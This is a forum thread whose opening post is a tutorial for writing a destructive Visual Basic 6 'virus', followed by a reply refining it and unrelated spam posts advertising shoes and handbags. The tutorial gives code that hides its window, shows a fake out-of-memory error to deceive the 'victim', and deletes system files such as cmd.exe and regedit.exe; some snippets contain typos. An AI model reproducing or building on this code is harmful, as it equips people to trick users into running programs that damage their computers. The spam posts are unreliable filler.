Go Back   Pakistani Developers Forum > Other Languages > Visual Basic

Visual Basic MsgBox("For discussion of Visual Basic")

Reply
 
LinkBack Thread Tools
 
  #1 (permalink)  
Old 09-Aug-2006, 19:56
Mubashar Islam's Avatar
Mubashar Islam Offline
Banned
 
Join Date: Thu Aug 3 21:16:06 PKT 2006
Location: Pakistan
Posts: 5
Send a message via Yahoo to Mubashar Islam
Talking Programing A Simple Virus in Visual basic

Visual Basic 6 - Creating a Simple Virus

Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal. First of all open a new Visual Basic project, a standard exe file..
Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.
Private Sub Form_Load()
Text1.Text = "C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed.
Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it 'A'
Private Sub Form_Load()
Text1.Text = "C/Windows/System32/cmd.exe"
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now once the command button is clicked on the project the command file will be deleted.
Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn't got enough memory to run, but in actual fact the victim doesn't know that you have just removed their command file.

Here is to go about it.
Private Sub Form_Load()
Form1.Visible = False
Text1.Text = "C:/Windows/System32/cmd.exe"
A = Text1.Text
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub
All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that's how simple it can be to fool someone.
Right, we can now make it a little more difficult if you are finding the above a little too easy.
How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.
The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.
So in the form load part put the following code.
Private Sub Form_Load()
Form1.Visible = False
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
Kill "C:/Windows/System32/cmd.exe" s
Kill "C:/Windows/regedit.exe"
End Sub
So above we will be removing the command file and the registry, I don't think the victim will be best pleased about that do you. Now I have shown you the above information I think it's your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/
Then put in the code above but in the Kill put this.
Kill "C:/cmd.exe"
That's all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed.
THANX..

Reply With Quote
  #2 (permalink)  
Old 04-Jun-2008, 11:59
satalways Offline
Junior Member
 
Join Date: Wed Jun 7 10:40:36 PKT 2006
Location: Lahore
Posts: 11
Send a message via MSN to satalways Send a message via Yahoo to satalways
Default

What if
Text1.Text = "C:/Windows/System32/cmd.exe
is not correct or OS is changed.
you can use
Text1.Text = $Environment("ComSpec")
instead of old line.

__________________
Low price web hosting including free domain registration
http://www.shakeelahmed.info
http://www.shakeelahmed.info/forum
Reply With Quote
  #3 (permalink)  
Old 12-Nov-2009, 06:49
pqrs504 Offline
Senior Member
 
Join Date: Sat Apr 25 16:55:20 PKT 2009
Posts: 1,016
Talking Daydream

Lucy: Do you dream at nighttime? Jack: No, I only dream at daytime. air max 1 nike air max 1 air max man nike air max 90 trainers nike air max men

__________________
tn
Reply With Quote
  #4 (permalink)  
Old 27-Nov-2009, 18:04
pqrs504 Offline
Senior Member
 
Join Date: Sat Apr 25 16:55:20 PKT 2009
Posts: 1,016
Arrow ugg2

Got a call from a woman said that her laser printer was having problems: the bottom half of her printed sheets were coming out blurry. It seemed strange that the printer was smearing only the bottom half. I walked her through the basics, then went over and printed out a test sheet. It printed fine. I asked her to print a sheet, so she sent a job to the printer. As the paper started coming out, she yanked it out and showed it to me. I told her to wait until the paper came out on its own. Problem solved. UGG Cardy ,On Sale Cheap UGG ,ugg classic cardy ,UGG Boots ,ugg boots 5803 ,

__________________
tn
Reply With Quote
  #5 (permalink)  
Old 01-Dec-2009, 01:16
defg306 Offline
Senior Member
 
Join Date: Wed Sep 23 11:31:26 PKT 2009
Posts: 221
Thumbs up joke(www.ashoess.com)

I Have His Ear in My Pocket Ivan came home with a bloody nose and his mother asked, "What happened?" "A kid bit me," replied Ivan. "Would you recognize him if you saw him again?" asked his mother. "I'd know him any where," said Ivan. "I have his ear in my pocket." nike shoesnike tnnike nznike tl3nike air max

Reply With Quote
  #6 (permalink)  
Old 02-Dec-2009, 06:01
abcd314 Offline
Senior Member
 
Join Date: Fri Oct 9 13:32:46 PKT 2009
Posts: 170
Wink M19010 men's nike shox tz retro running sneaker black-gold

Men's nike shox TZ running sports shoes in black and gold are waiting for you here.If you are not an unalloyed athlete, you may not know that a right pair of running shoes is very important to its wearer. If your running shoes are bad, you may be injured anytime and anywhere. So I think you should have a chance to get a good shoe.It is a pair of Nike Shox TZ retro running shoes in front of you now.It is very comfortable and breathable. Shox technology can absorb impact from heel strike while running. And it also "spring back” and add more power to a runner's stride.Do you like it?

Reply With Quote
  #8 (permalink)  
Old 15-Dec-2009, 04:33
Commoner1 Offline
Member
 
Join Date: Tue Dec 1 12:26:03 PKT 2009
Posts: 90
Red face red handbag (9)

[color=#1f3730][font=Times New Roman][size=3]cdef[color=#1f3730][font=Times New Roman][size=3]xxss[color=#1f3730][font=Times New Roman][size=3]vcvc[color=#1f3730][font=Times New Roman][size=3]vdvd[color=#1f3730][font=Times New Roman][size=3]bab

Reply With Quote
Reply


Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump


All times are GMT +5. The time now is 05:41.

Powered by vBulletin® Version 3.7.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
 
Designed By: ForumThemes.com